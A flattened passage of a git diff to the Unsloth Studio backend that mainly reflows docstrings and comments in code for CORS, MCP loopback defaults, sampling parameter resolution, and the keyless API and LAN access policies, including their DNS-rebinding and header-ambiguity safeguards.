cors_origins_for_mode(*, api_only: bool, secure: bool) -> list[str]:- """Allowed CORS origins. Default is any-origin (["*"]); api-only locks down- to the Tauri desktop app, except in secure mode where the API is published- over Cloudflare and must stay reachable from remote browser origins."""+ """Allowed CORS origins. Default is any-origin (["*"]); api-only locks down to the Tauri desktop app, except in secure mode where the API is published over Cloudflare and must stay reachable from remote browser origins."""if api_only and not secure:return list(_TAURI_CORS_ORIGINS)return ["*"]def apply_stdio_mcp_loopback_default(host: str, *, is_colab: bool = False) -> None:- """Default stdio MCP servers on when bound to loopback.-- A loopback bind is the user's own machine -- the same trust boundary the- Tauri desktop app relies on (see main.py, which uses this same helper).- Colab is excluded: even its loopback is a hosted VM- reachable through Colab's proxy, so it stays off unless opted in. An explicit- operator value wins: a pre-set `UNSLOTH_STUDIO_ALLOW_STDIO_MCP=0`- force-disables and `=1` opts in, including on a network bind. We only ever- set or clear a default we applied ourselves, so reusing run_server with a- public host after a loopback one does not leave the gate on.- """+ """Default stdio MCP servers on when bound to loopback. A loopback bind is the user's own machine, the same trust boundary the Tauri desktop app relies on (see main.py, which uses this same helper). Colab is excluded: even its loopback is a hosted VM reachable through Colab's proxy, so it stays off unless opted in. An explicit operator value wins: a pre-set `UNSLOTH_STUDIO_ALLOW_STDIO_MCP=0` force-disables and `=1` opts in, including on a network bind. We only ever set or clear a default we applied ourselves, so reusing run_server with a public host after a loopback one does not leave the gate on."""global _auto_enabledcurrent = os.environ.get("UNSLOTH_STUDIO_ALLOW_STDIO_MCP")- # If our prior auto-default was changed out from under us, relinquish ownership: an explicit =0 is then a sticky- # force-disable, while a cleared var falls back to the host default.+ # If our prior auto-default was changed out from under us, relinquish ownership: an explicit =0 is then a sticky force-disable, while a cleared var falls back to the host default.if _auto_enabled and current != "1":_auto_enabled = False# An explicit operator value is one we did not set; never touch it.@@ -281,8 +250,7 @@ def apply_stdio_mcp_loopback_default(host: str, *, is_colab: bool = False) -> Nodef loopback_default_active() -> bool:- """True when stdio MCP is on only because a loopback bind auto-enabled it,- rather than an explicit operator opt-in. Lets the gate tell the two apart."""+ """True when stdio MCP is on only because a loopback bind auto-enabled it, rather than an explicit operator opt-in. Lets the gate tell the two apart."""return _auto_enableddiff --git a/studio/backend/utils/inference/inference_config.py b/studio/backend/utils/inference/inference_config.pyindex 0e63159cc5c..c91919db76b 100644--- a/studio/backend/utils/inference/inference_config.py+++ b/studio/backend/utils/inference/inference_config.py@@ -18,8 +18,6 @@ from utils.models.model_config import load_model_defaultslogger = get_logger(__name__)-# ── Family-based inference defaults (loaded once, cached) ──────────────-_FAMILY_DEFAULTS: Optional[Dict[str, Any]] = None_FAMILY_PATTERNS: Optional[list] = None@@ -45,22 +43,17 @@ def _load_family_defaults():def get_family_inference_params(model_id: str) -> Dict[str, Any]:- """Look up recommended inference params by model family.-- Extracts the family from the identifier (e.g. "unsloth/Qwen3.5-9B-GGUF" ->- "qwen3.5") and returns matching params from inference_defaults.json, or {}.- """+ """Recommended inference params by model family: extracts the family from the identifier (e.g. "unsloth/Qwen3.5-9B-GGUF" to "qwen3.5") and returns matching params from inference_defaults.json, or {}."""_load_family_defaults()if not _FAMILY_PATTERNS or not _FAMILY_DEFAULTS:return {}- # Normalize: lowercase, strip org prefix.normalized = model_id.lower()if "/" in normalized:normalized = normalized.split("/", 1)[1]- # Match patterns (ordered longest-match-first in the JSON).+ # Match patterns, ordered longest-match-first in the JSON.for pattern in _FAMILY_PATTERNS:if pattern in normalized:params = _FAMILY_DEFAULTS.get(pattern, {})@@ -71,12 +64,7 @@ def get_family_inference_params(model_id: str) -> Dict[str, Any]:def _has_specific_yaml(model_identifier: str) -> bool:- """Check if a model has its own YAML config (not just default.yaml).-- Shares defaults_lookup_names with load_model_defaults so this answer cannot disagree with- the config it actually loaded -- disagreeing would let family defaults override a model's- own inference params.- """+ """Whether a model has its own YAML config, not just default.yaml. Shares defaults_lookup_names with load_model_defaults so this answer cannot disagree with the config it actually loaded; disagreeing would let family defaults override a model's own inference params."""from utils.models.model_config import _REVERSE_MODEL_MAPPING, defaults_lookup_namesscript_dir = Path(__file__).parent.parent.parent@@ -94,14 +82,9 @@ def _has_specific_yaml(model_identifier: str) -> bool:def load_inference_config(model_identifier: str) -> Dict[str, Any]:- """Load inference params for a model.-- Priority: model-specific YAML, then family defaults (inference_defaults.json),- then default.yaml. Returns a dict of temperature/top_p/top_k/min_p/etc.- """+ """Load inference params for a model: model-specific YAML, then family defaults (inference_defaults.json), then default.yaml. Returns temperature/top_p/top_k/min_p and so on."""model_defaults = load_model_defaults(model_identifier)- # default.yaml for fallback values.script_dir = Path(__file__).parent.parent.parentdefaults_dir = script_dir / "assets" / "configs" / "model_defaults"default_config_path = defaults_dir / "default.yaml"@@ -115,18 +98,15 @@ def load_inference_config(model_identifier: str) -> Dict[str, Any]:except Exception as e:logger.warning(f"Failed to load default.yaml: {e}")- # Family-based defaults from inference_defaults.json.family_params = get_family_inference_params(model_identifier)model_inference = model_defaults.get("inference", {})- # Model's own YAML beats family defaults; if it only fell back to- # default.yaml, family defaults win.+ # Model's own YAML beats family defaults; if it only fell back to default.yaml, family defaults win.has_own_yaml = _has_specific_yaml(model_identifier)def _get_param(key, hardcoded_default):if has_own_yaml:- # Model-specific YAML wins, then family fills gaps, then default.yaml.val = model_inference.get(key)if val is not None and isinstance(val, (int, float)):return val@@ -134,7 +114,6 @@ def load_inference_config(model_identifier: str) -> Dict[str, Any]:return family_params[key]return default_inference.get(key, hardcoded_default)else:- # No model-specific YAML: family wins, then default.yaml.if key in family_params:return family_params[key]return default_inference.get(key, hardcoded_default)@@ -153,9 +132,7 @@ def load_inference_config(model_identifier: str) -> Dict[str, Any]:return inference_config-# field -> (env var, static default, min, max, is_int)-# Precedence per field: an operator pin via UNSLOTH_SAMPLING_* wins even over an explicit client value, then the client-# value, then the per-model recommendation, then the static schema default.+# field -> (env var, static default, min, max, is_int). Per field an operator pin via UNSLOTH_SAMPLING_* wins even over an explicit client value, then the client value, then the per-model recommendation, then the static schema default.# ── Effective sampling resolution for `unsloth run` / `unsloth start` ──────────_SAMPLING_FIELDS = {"temperature": ("UNSLOTH_SAMPLING_TEMPERATURE", 0.6, 0.0, 2.0, False),@@ -169,25 +146,12 @@ _SAMPLING_FIELDS = {# Public, ordered tuple of the sampling fields callers resolve.SAMPLING_FIELD_NAMES = tuple(_SAMPLING_FIELDS)-# The five fields the Chat UI's mergeBackendRecommendedInference seeds, auto-recommended here for-# request parity. repetition_penalty stays manual-only (client-sent or an operator pin), matching-# the UI where it is never auto-filled per model.-# The frontend seeder is mergeBackendRecommendedInference in presets/preset-policy.ts, and the manual pin is-# UNSLOTH_SAMPLING_REPETITION_PENALTY.+# The five fields the Chat UI's mergeBackendRecommendedInference (presets/preset-policy.ts) seeds, auto-recommended here for request parity. repetition_penalty stays manual-only (client-sent or the UNSLOTH_SAMPLING_REPETITION_PENALTY pin), matching the UI where it is never auto-filled per model._UI_RECOMMENDED_FIELDS = ("temperature", "top_p", "top_k", "min_p", "presence_penalty")def _clean_sampling_value(field: str, val: Any):- """Coerce ``val`` to the field's numeric type when it is a finite, in-range number, else None.-- Rejects bool, non-numeric, NaN/inf, and out-of-range values so neither a bad operator env- var nor a malformed model recommendation can reach llama-server. NaN matters because- ``nan < lo`` and ``nan > hi`` are both False, so a plain range check would let it through.- Coerce before the finiteness check: ``math.isfinite`` and ``float()`` raise ``OverflowError``- on an int too big for a C double (an oversized UNSLOTH_SAMPLING_TOP_K would otherwise 500 the- request), while an in-range int is range-checked exactly and ``int()`` rejects a NaN/inf that- reached an int field.- """+ """Coerce ``val`` to the field's numeric type when it is a finite, in-range number, else None. Rejects bool, non-numeric, NaN/inf and out-of-range values so neither a bad operator env var nor a malformed model recommendation can reach llama-server. NaN matters because ``nan < lo`` and ``nan > hi`` are both False, so a plain range check would let it through. Coerce before the finiteness check: ``math.isfinite`` and ``float()`` raise ``OverflowError`` on an int too big for a C double (an oversized UNSLOTH_SAMPLING_TOP_K would otherwise 500 the request), while an in-range int is range-checked exactly and ``int()`` rejects a NaN/inf that reached an int field."""if isinstance(val, bool) or not isinstance(val, (int, float)):return None_env, _default, lo, hi, is_int = _SAMPLING_FIELDS[field]@@ -205,11 +169,7 @@ def _clean_sampling_value(field: str, val: Any):def _operator_sampling_override(field: str):- """Operator-pinned value for a sampling field from UNSLOTH_SAMPLING_*, or None.-- An unparseable, non-finite, or out-of-range value is ignored so a bad env var can never- reach llama-server; the field then falls back to the client / recommended value.- """+ """Operator-pinned value for a sampling field from UNSLOTH_SAMPLING_*, or None. An unparseable, non-finite or out-of-range value is ignored so a bad env var can never reach llama-server; the field then falls back to the client / recommended value."""_env, _default, _lo, _hi, is_int = _SAMPLING_FIELDS[field]raw = os.environ.get(_env)if raw is None or raw.strip() == "":@@ -223,15 +183,7 @@ def _operator_sampling_override(field: str):@lru_cache(maxsize = 128)def _recommended_sampling(model_id: str) -> Dict[str, Any]:- """Per-model recommended sampling, resolved through the SAME path the Unsloth Chat UI uses.-- The Chat UI seeds its sampling from the ``.inference`` block of the load/status responses,- which is exactly :func:`load_inference_config` (model-specific YAML -> family defaults- (inference_defaults.json) -> default.yaml). Sourcing recommendations here keeps the values- the server applies to a request identical to what the UI shows for the same model. Only the- fields the UI actually adopts (:data:`_UI_RECOMMENDED_FIELDS`) are recommended; each value- is validated (finite + in range) before use. Cached by model id.- """+ """Per-model recommended sampling, resolved through the SAME path the Unsloth Chat UI uses. The UI seeds its sampling from the ``.inference`` block of the load/status responses, which is exactly :func:`load_inference_config` (model-specific YAML, then family defaults from inference_defaults.json, then default.yaml), so sourcing recommendations here keeps the values the server applies identical to what the UI shows. Only the fields the UI actually adopts (:data:`_UI_RECOMMENDED_FIELDS`) are recommended; each value is validated (finite and in range) before use. Cached by model id."""if not model_id:return {}try:@@ -253,18 +205,7 @@ def resolve_effective_sampling(*,fill_defaults: bool = True,) -> Dict[str, Any]:- """Resolve the effective sampling params for a request.-- ``explicit`` maps each field in :data:`SAMPLING_FIELD_NAMES` to the client-sent- value, or ``None`` when the client omitted it. Precedence (highest first): an- operator ``UNSLOTH_SAMPLING_*`` pin, then the client's explicit value, then the- per-model recommendation, then the static schema default.-- When ``fill_defaults`` is False a field with no operator pin, client value, or- per-model recommendation is omitted from the result instead of set to the static- schema default, so a raw proxy body (``/v1/completions``) keeps llama-server's own- default for that field rather than being forced onto this schema's value.- """+ """Resolve the effective sampling params for a request. ``explicit`` maps each field in :data:`SAMPLING_FIELD_NAMES` to the client-sent value, or ``None`` when the client omitted it. Precedence, highest first: an operator ``UNSLOTH_SAMPLING_*`` pin, the client's explicit value, the per-model recommendation, then the static schema default. When ``fill_defaults`` is False a field with none of the first three is omitted rather than set to the static default, so a raw proxy body (``/v1/completions``) keeps llama-server's own default for that field."""recommended = _recommended_sampling(model_id or "")effective: Dict[str, Any] = {}for field, (_env, default, _lo, _hi, _int) in _SAMPLING_FIELDS.items():diff --git a/studio/backend/utils/keyless_api_access.py b/studio/backend/utils/keyless_api_access.pyindex 4299bfad274..b8391a952f3 100644--- a/studio/backend/utils/keyless_api_access.py+++ b/studio/backend/utils/keyless_api_access.py@@ -1,28 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Fail-closed admission policy for serving Unsloth without an API key.--Off by default. When an admin turns it on, a request that sends no usable-credential authenticates as the local admin, so ``curl`` and the OpenAI SDKs reach-this server the way they reach LM Studio and Ollama.--Two scopes, so opening up chat does not also open up training:--``inference``- The OpenAI-compatible endpoints only, named one by one in- ``_INFERENCE_ROUTES``. Everything else keeps needing a key.-``full``- Every route, but only for callers arriving and connecting over loopback.--Server-side tools (python, terminal, web search) stay off for a keyless caller-whatever the scope, until the admin ticks them on separately: ``/v1/chat/completions``-runs that tool loop on this machine, so it is a bigger grant than chat itself.--Public tunnels and Colab never receive keyless access. Private-LAN inference is-accepted only through a live settings listener or the launch-managed bind that-matches the ASGI accepting address and port. Signing in to Unsloth is unaffected.-"""+"""Fail-closed admission policy for serving Unsloth without an API key. Off by default; when an admin turns it on, a request that sends no usable credential authenticates as the local admin, so ``curl`` and the OpenAI SDKs reach this server the way they reach LM Studio and Ollama. Two scopes, so opening up chat does not also open up training: ``inference`` covers the OpenAI-compatible endpoints only, named one by one in ``_INFERENCE_ROUTES``, and everything else keeps needing a key; ``full`` covers every route, but only for callers arriving and connecting over loopback. Server-side tools (python, terminal, web search) stay off for a keyless caller whatever the scope, until the admin ticks them on separately: ``/v1/chat/completions`` runs that tool loop on this machine, so it is a bigger grant than chat itself. Public tunnels and Colab never receive keyless access, private-LAN inference is accepted only through a live settings listener or the launch-managed bind that matches the ASGI accepting address and port, and signing in to Unsloth is unaffected."""from __future__ import annotations@@ -41,14 +20,12 @@ KEYLESS_SCOPE_FULL = "full"KEYLESS_SCOPES = (KEYLESS_SCOPE_OFF, KEYLESS_SCOPE_INFERENCE, KEYLESS_SCOPE_FULL)DEFAULT_KEYLESS_API_ACCESS_SCOPE = KEYLESS_SCOPE_OFFAPPROVED_DUMMY_BEARERS = frozenset(- # ``no-key-required`` is what hermes-agent substitutes when no key is configured,- # because the OpenAI SDK refuses an empty one (hermes_cli/runtime_provider_backends.py).+ # ``no-key-required`` is what hermes-agent substitutes when no key is configured, because the OpenAI SDK refuses an empty one (hermes_cli/runtime_provider_backends.py).{"not-needed", "lm-studio", "ollama", "no-key-required"})KEYLESS_ADMISSION_STATE_KEY = "keyless_api_admitted"-# Named by method and normalized path: /v1 also aliases model loading, media,-# sandbox, validation, and streaming side-effect routes.+# Named by method and normalized path: /v1 also aliases model loading, media, sandbox, validation, and streaming side-effect routes._INFERENCE_ROUTES = frozenset({("POST", "/v1/chat/completions"),@@ -59,9 +36,7 @@ _INFERENCE_ROUTES = frozenset(("POST", "/v1/messages/count_tokens"),("GET", "/v1/models"),("POST", "/v1/responses"),- # Discovery probes, read-only. A keyless client that may list models and chat- # but gets 401 on /props reads that as an auth wall in front of the whole- # surface and stops, which is the opposite of what the scope grants.+ # Discovery probes, read-only. A keyless client that may list models and chat but gets 401 on /props reads that as an auth wall in front of the whole surface and stops, which is the opposite of what the scope grants.("GET", "/props"),("GET", "/v1/props"),("GET", "/version"),@@ -135,18 +110,7 @@ def _read_settings() -> tuple[str, bool]:def _settings_once() -> tuple[str, bool, bool, int]:- """Read the persisted scope and tool grant; anything unreadable counts as off.-- Unlike a normal setting these remove an authentication requirement, so a damaged- settings DB must never resolve to an open scope, and neither may a refresh that- read the DB before a write closed it: sqlite reads block, so a request can be- holding the old answer when the setting is turned off, and publishing it would- keep the server open for the rest of the TTL. The generation counter dates each- read against the writes, so only a read that still describes the DB is published.-- One caller refreshes SQLite; async followers retry without worker tokens; sync- followers fail closed.- """+ """Read the persisted scope and tool grant; anything unreadable counts as off. Unlike a normal setting these remove an authentication requirement, so a damaged settings DB must never resolve to an open scope, and neither may a refresh that read the DB before a write closed it: sqlite reads block, so a request can be holding the old answer when the setting is turned off, and publishing it would keep the server open for the rest of the TTL. The generation counter dates each read against the writes, so only a read that still describes the DB is published. One caller refreshes SQLite; async followers retry without worker tokens; sync followers fail closed."""global _cached_settings, _settings_refresh_inflightowner_marker: Optional[object] = Nonetry:@@ -260,8 +224,7 @@ def set_keyless_api_access(value: Any, *, tools: Any = None) -> tuple[str, bool]allow_tools = _read_settings_from_db()[1] if tools is None else _coerce_bool(tools)if allow_tools is None:raise ValueError("Keyless tool access must be true or false.")- # tools are meaningless without a scope, and leaving them ticked would surprise- # whoever turns keyless back on later+ # tools are meaningless without a scope, and leaving them ticked would surprise whoever turns keyless back on laterallow_tools = allow_tools and scope != KEYLESS_SCOPE_OFFfrom storage.studio_db import upsert_app_settings@@ -292,11 +255,7 @@ def set_keyless_api_access(value: Any, *, tools: Any = None) -> tuple[str, bool]def access_exposure(app_state: Any) -> Optional[str]:- """How far this server reaches beyond the machine, or None for localhost only.-- Advisory: it decides how bluntly the UI words the warning, never whether the- setting may be used. An unknown bind host is reported as network-reachable.- """+ """How far this server reaches beyond the machine, or None for localhost only. Advisory: it decides how bluntly the UI words the warning, never whether the setting may be used. An unknown bind host is reported as network-reachable."""from utils.host_policy import (is_external_host,lan_connector_active,@@ -367,8 +326,7 @@ def scope_covers(return Falseif (normalized_method, normalized) in _INFERENCE_ROUTES:return True- # The router intentionally exposes one dynamic retrieval template. Its method- # is still explicit; an empty id and every non-GET alias remain denied.+ # The router intentionally exposes one dynamic retrieval template. Its method is still explicit; an empty id and every non-GET alias remain denied.return normalized_method == "GET" and normalized.startswith("/v1/models/")@@ -424,14 +382,7 @@ def _full_scope_transport_allowed(request: Any, app_state: Any) -> bool:def _repeated_header(request: Any, name: bytes) -> bool:- """Whether the raw ASGI headers carry ``name`` more than once.-- ``Headers.get()`` returns the first of a repeated header, so a predicate built on it may- decide on a different value than an intermediary acted on. An ambiguous request is- refused rather than resolved, as `asgi_request_is_keyless` already does for a repeated- `Authorization`. h11 rejects a repeated `Host`, httptools does not, and neither rejects a- repeated `Sec-Fetch-Site`, so this cannot be left to the parser.- """+ """Whether the raw ASGI headers carry ``name`` more than once. ``Headers.get()`` returns the first of a repeated header, so a predicate built on it may decide on a different value than an intermediary acted on. An ambiguous request is refused rather than resolved, as `asgi_request_is_keyless` already does for a repeated `Authorization`. h11 rejects a repeated `Host`, httptools does not, and neither rejects a repeated `Sec-Fetch-Site`, so this cannot be left to the parser."""try:headers = request.scope.get("headers") or ()return sum(1 for key, _ in headers if key.lower() == name) > 1@@ -440,25 +391,7 @@ def _repeated_header(request: Any, name: bytes) -> bool:def _browser_initiated_elsewhere(request: Any) -> bool:- """Whether a page on another site made this request, as the browser reports it.-- ``Origin`` cannot say: no browser attaches it to a same-origin GET or to a cross-site- ``no-cors`` GET, and such a fetch at ``http://127.0.0.1:<port>`` does arrive. Only- Chromium's Local Network Access (141, enforced from 142, replacing Private Network- Access) holds it back; Firefox and Safari ship no equivalent. ``Sec-Fetch-Site`` is set- on every request to a URL the browser considers *potentially trustworthy*, and the- ``Sec-`` prefix makes it unforgeable. Absence stays admitted: curl, the OpenAI SDKs and- Safari before 16.4 send nothing, and serving them is the point of the setting.-- Two limits, because the header is weaker than it first appears:-- * Absence only *means* "not a browser" where the URL is potentially trustworthy, which- is what `_host_authority_is_direct` enforces. On the plain-HTTP private-LAN limb no- such URL exists, so this predicate is inert there and `Origin` is the only signal left.- * ``none`` is refused. It is computed before the redirect chain is walked, so an- attacker-controlled 302 from a user-initiated navigation still arrives saying ``none``- (measured: Firefox 153, WebKit 26.5). Nobody types an API route into an address bar.- """+ """Whether a page on another site made this request, as the browser reports it. ``Origin`` cannot say: no browser attaches it to a same-origin GET or to a cross-site ``no-cors`` GET, and such a fetch at ``http://127.0.0.1:<port>`` does arrive; only Chromium's Local Network Access (141, enforced from 142, replacing Private Network Access) holds it back, and Firefox and Safari ship no equivalent. ``Sec-Fetch-Site`` is set on every request to a URL the browser considers *potentially trustworthy*, and the ``Sec-`` prefix makes it unforgeable. Absence stays admitted: curl, the OpenAI SDKs and Safari before 16.4 send nothing, and serving them is the point of the setting. Two limits, because the header is weaker than it first appears: absence only *means* "not a browser" where the URL is potentially trustworthy, which is what `_host_authority_is_direct` enforces, so on the plain-HTTP private-LAN limb no such URL exists, this predicate is inert there and `Origin` is the only signal left; and ``none`` is refused, because it is computed before the redirect chain is walked, so an attacker-controlled 302 from a user-initiated navigation still arrives saying ``none`` (measured: Firefox 153, WebKit 26.5), and nobody types an API route into an address bar."""if _repeated_header(request, b"sec-fetch-site"):return Truetry:@@ -476,39 +409,7 @@ def _port_suffix_is_numeric(suffix: str) -> bool:def _host_authority_is_direct(request: Any, scope: str) -> bool:- """Whether the caller addressed this server directly rather than through a name.-- Guards DNS rebinding, which the socket checks cannot see: a page on ``evil.example``- re-pointed at ``127.0.0.1`` keeps its own origin, so every signal above reads as a local- client and the response is readable by the page. ``Host`` still names the site the page- was served from. A direct client sends the literal address or ``localhost``; anything- else is a name, whether rebound or a legitimate mDNS / internal-DNS / reverse-proxy- alias -- keyless declines both, as `lan_access_settings` also never trusts a name.- Absent stays admitted: HTTP/1.0 callers send none and no browser omits it.-- The literal is matched as written rather than canonicalised, because this predicate and- the browser must agree on how "loopback" is spelled. Two families are refused for that- reason, both measured reaching a ``127.0.0.1`` listener while the browser sent no- ``Sec-Fetch-*`` at all, neither being potentially trustworthy (``127.0.0.0/8``, ``::1/128``):-- * IPv4-mapped IPv6 -- ``[::ffff:127.0.0.1]``, ``[::ffff:7f00:1]`` -- on Chromium 151,- Firefox 153 and WebKit 26.5.- * the unspecified ``0.0.0.0`` and ``[::]``, which connect to loopback on Linux.-- Canonicalising them, as a general purpose normaliser would, is what turned- absence-means-not-a-browser into a bypass, so parsing happens here rather than through- `lan_access_settings._normalized_ip`, whose leniency suits the socket addresses it was- written for and not an authority off the wire.-- The literal must also be one ``scope`` could legitimately be reached at. The socket- checks see only the hop that connected, so an SSH forward or a reverse proxy in front of- a loopback bind makes both ASGI endpoints loopback while ``Host`` is the public address- the page came from. ``full`` is loopback-only by construction- (`_full_scope_transport_allowed` demands a loopback bind and peer), so its authority must- be loopback too; ``inference`` may also be reached across the private LAN. This cannot be- spelled with `is_private`, which means "not globally reachable" and counts the- documentation ranges in as well.- """+ """Whether the caller addressed this server directly rather than through a name. Guards DNS rebinding, which the socket checks cannot see: a page on ``evil.example`` re-pointed at ``127.0.0.1`` keeps its own origin, so every signal above reads as a local client and the response is readable by the page, while ``Host`` still names the site the page was served from. A direct client sends the literal address or ``localhost``; anything else is a name, whether rebound or a legitimate mDNS / internal-DNS / reverse-proxy alias, and keyless declines both, as `lan_access_settings` also never trusts a name. Absent stays admitted: HTTP/1.0 callers send none and no browser omits it. The literal is matched as written rather than canonicalised, because this predicate and the browser must agree on how "loopback" is spelled, and two families are refused for that reason, both measured reaching a ``127.0.0.1`` listener while the browser sent no ``Sec-Fetch-*`` at all, neither being potentially trustworthy (``127.0.0.0/8``, ``::1/128``): IPv4-mapped IPv6 (``[::ffff:127.0.0.1]``, ``[::ffff:7f00:1]``) on Chromium 151, Firefox 153 and WebKit 26.5, and the unspecified ``0.0.0.0`` and ``[::]``, which connect to loopback on Linux. Canonicalising them, as a general purpose normaliser would, is what turned absence-means-not-a-browser into a bypass, so parsing happens here rather than through `lan_access_settings._normalized_ip`, whose leniency suits the socket addresses it was written for and not an authority off the wire. The literal must also be one ``scope`` could legitimately be reached at: the socket checks see only the hop that connected, so an SSH forward or a reverse proxy in front of a loopback bind makes both ASGI endpoints loopback while ``Host`` is the public address the page came from. ``full`` is loopback-only by construction (`_full_scope_transport_allowed` demands a loopback bind and peer), so its authority must be loopback too; ``inference`` may also be reached across the private LAN. This cannot be spelled with `is_private`, which means "not globally reachable" and counts the documentation ranges in as well."""import ipaddressfrom utils.lan_access_settings import _private_non_loopback@@ -538,9 +439,7 @@ def _host_authority_is_direct(request: Any, scope: str) -> bool:if separator and not _port_suffix_is_numeric(":" + suffix):return Falseliteral = literal.lower()- # Exactly `localhost`, no trailing root-label dot.- # Measured on WebKit 26.5, a page dialling `http://localhost.:<port>` sends no `Sec-Fetch-*` while Chromium 151- # and Firefox 153 send `cross-site`. No client spells it.+ # Exactly `localhost`, no trailing root-label dot. Measured on WebKit 26.5, a page dialling `http://localhost.:<port>` sends no `Sec-Fetch-*` while Chromium 151 and Firefox 153 send `cross-site`. No client spells it.if literal == "localhost":return Truetry:@@ -552,16 +451,7 @@ def _host_authority_is_direct(request: Any, scope: str) -> bool:def keyless_authority_address_allowed(address: Any, scope: str) -> bool:- """Whether a parsed authority literal is one ``scope`` could be reached at.-- The single place this is answered, so admission and anything that advertises an address- to the user cannot drift apart -- `lan_access_settings` reported a keyless-eligible LAN- URL for an IPv4-mapped literal admission refuses, having kept its own copy of the test.-- Takes an already-parsed address, which must NOT have been canonicalised: the mapped form- is refused precisely because the browser does not treat it as loopback, so un-mapping it- erases the distinction being tested.- """+ """Whether a parsed authority literal is one ``scope`` could be reached at. The single place this is answered, so admission and anything that advertises an address to the user cannot drift apart: `lan_access_settings` reported a keyless-eligible LAN URL for an IPv4-mapped literal admission refuses, having kept its own copy of the test. Takes an already-parsed address, which must NOT have been canonicalised: the mapped form is refused precisely because the browser does not treat it as loopback, so un-mapping it erases the distinction being tested."""from utils.lan_access_settings import _private_non_loopbackif address is None:@@ -639,13 +529,7 @@ def request_was_admitted_keyless(request: Any) -> Optional[bool]:class KeylessToolPolicyMiddleware:- """Hard-disable server-side tools for a keyless caller that was not granted them.-- ``/v1/chat/completions`` runs python and terminal on this machine through the- tool loop, and ``unsloth studio run`` turns tools on by default, so serving that- route without a key would otherwise hand the loop to anyone who can reach it.- Mirrors what routes/preview.py does for the public ``/p`` surface.- """+ """Hard-disable server-side tools for a keyless caller that was not granted them. ``/v1/chat/completions`` runs python and terminal on this machine through the tool loop, and ``unsloth studio run`` turns tools on by default, so serving that route without a key would otherwise hand the loop to anyone who can reach it. Mirrors what routes/preview.py does for the public ``/p`` surface."""def __init__(self, app):self.app = app@@ -678,13 +562,7 @@ class KeylessToolPolicyMiddleware:def asgi_request_is_keyless(asgi_scope, settings: Optional[tuple[str, bool]] = None) -> bool:- """Whether this ASGI request is admitted by the setting rather than by a credential.-- Middleware-side twin of ``auth.authentication.admitted_without_credential``, reading- the raw scope because it runs before the request object exists. An Unsloth session and- a working API key both authenticate as themselves, so neither is keyless: applying- the tool restriction to an existing API client would take away tools it already had.- """+ """Whether this ASGI request is admitted by the setting rather than by a credential. Middleware-side twin of ``auth.authentication.admitted_without_credential``, reading the raw scope because it runs before the request object exists. An Unsloth session and a working API key both authenticate as themselves, so neither is keyless: applying the tool restriction to an existing API client would take away tools it already had."""try:from starlette.requests import Requestrequest = Request(asgi_scope)@@ -706,8 +584,7 @@ def asgi_request_is_keyless(asgi_scope, settings: Optional[tuple[str, bool]] = Nreturn Trueif len(authorization) != 1:return False- # The same parser the dependency uses, not a second hand-rolled split: they disagreed on `bearer not-needed`,- # making a shape keyless to every route but not-keyless to the middleware that clamps the tool grant.+ # The same parser the dependency uses, not a second hand-rolled split: they disagreed on `bearer not-needed`, making a shape keyless to every route but not-keyless to the middleware that clamps the tool grant.from fastapi.security.utils import get_authorization_scheme_paramif is_empty_bearer(authorization[0]):diff --git a/studio/backend/utils/lan_access_settings.py b/studio/backend/utils/lan_access_settings.pyindex fed7b14b245..2da3b98dc23 100644--- a/studio/backend/utils/lan_access_settings.py+++ b/studio/backend/utils/lan_access_settings.py@@ -1,12 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Persisted policy and launch policy for Settings > LAN access.--The listener itself lives in ``lan_access``; this decides whether the current-launch may own one, whether the user is allowed to turn it on, and remembers the-answer across restarts.-"""+"""Persisted policy and launch policy for Settings > LAN access. The listener itself lives in ``lan_access``; this decides whether the current launch may own one, whether the user is allowed to turn it on, and remembers the answer across restarts."""from __future__ import annotations@@ -118,12 +113,7 @@ def _addresses_match(host: str, port: int, candidates) -> bool:def request_on_lan_access(request) -> bool:- """Classify a request from ASGI socket state, never client-controlled headers.-- Both the accepting endpoint and peer must be private and non-loopback. The- accepting endpoint must also match either the exact live settings listener or- the launch-managed bind and port published at startup.- """+ """Classify a request from ASGI socket state, never client-controlled headers. Both the accepting endpoint and peer must be private and non-loopback, and the accepting endpoint must also match either the exact live settings listener or the launch-managed bind and port published at startup."""from lan_access import lan_listener_statusscope = getattr(request, "scope", {})@@ -280,8 +270,7 @@ def configure_lan_access(resolved_loopback = bool(app_state.lan_access_launch_addresses) and all(_normalized_ip(address).is_loopback for address in app_state.lan_access_launch_addresses)- # An unresolved hostname is launch-managed but never trusted for keyless LAN admission:- # request_on_lan_access requires its resolved address set.+ # An unresolved hostname is launch-managed but never trusted for keyless LAN admission: request_on_lan_access requires its resolved address set.app_state.lan_access_launch_managed = (app_state.lan_access_wildcard_bind or not resolved_loopback)@@ -293,12 +282,7 @@ def configure_lan_access(def _launch_urls(app_state) -> list[str]:- """Where a launch-managed bind answers on this network.-- A wildcard launch cannot rely only on ``server_url``: run.py gives that- direct base one LAN-reachable address, while Settings must show every- currently reachable address in each family the launch serves.- """+ """Where a launch-managed bind answers on this network. A wildcard launch cannot rely only on ``server_url``: run.py gives that direct base one LAN-reachable address, while Settings must show every currently reachable address in each family the launch serves."""if getattr(app_state, "lan_access_wildcard_bind", False):from lan_access import detect_lan_addresses@@ -349,15 +333,9 @@ def _public_urls(urls: list[str], resolved_addresses: tuple[str, ...] = ()) -> ldef _has_keyless_lan_url(urls: list[str]) -> bool:"""Whether any of these URLs is one a keyless caller can actually reach.- Resolution alone is not enough: `keyless_api_access._host_authority_is_direct` refuses a- `Host` that names anything, so a hostname bind yields a URL that resolves to a private- address and is still refused. Reporting it eligible is what made the LAN panel advertise- `Bearer not-needed` against a URL that answers 401, so the literal is required here too.+ Resolution alone is not enough: `keyless_api_access._host_authority_is_direct` refuses a `Host` that names anything, so a hostname bind yields a URL that resolves to a private address and is still refused. Reporting it eligible is what made the LAN panel advertise `Bearer not-needed` against a URL that answers 401, so the literal is required here too.- Admission decides, through the shared- `keyless_api_access.keyless_authority_address_allowed`. A second copy of the test is what- let an IPv4-mapped literal like `::ffff:192.168.1.24` be advertised while admission- refused it: `_normalized_ip` un-maps, which is exactly what that form is refused for.+ Admission decides, through the shared `keyless_api_access.keyless_authority_address_allowed`. A second copy of the test is what let an IPv4-mapped literal like `::ffff:192.168.1.24` be advertised while admission refused it: `_normalized_ip` un-maps, which is 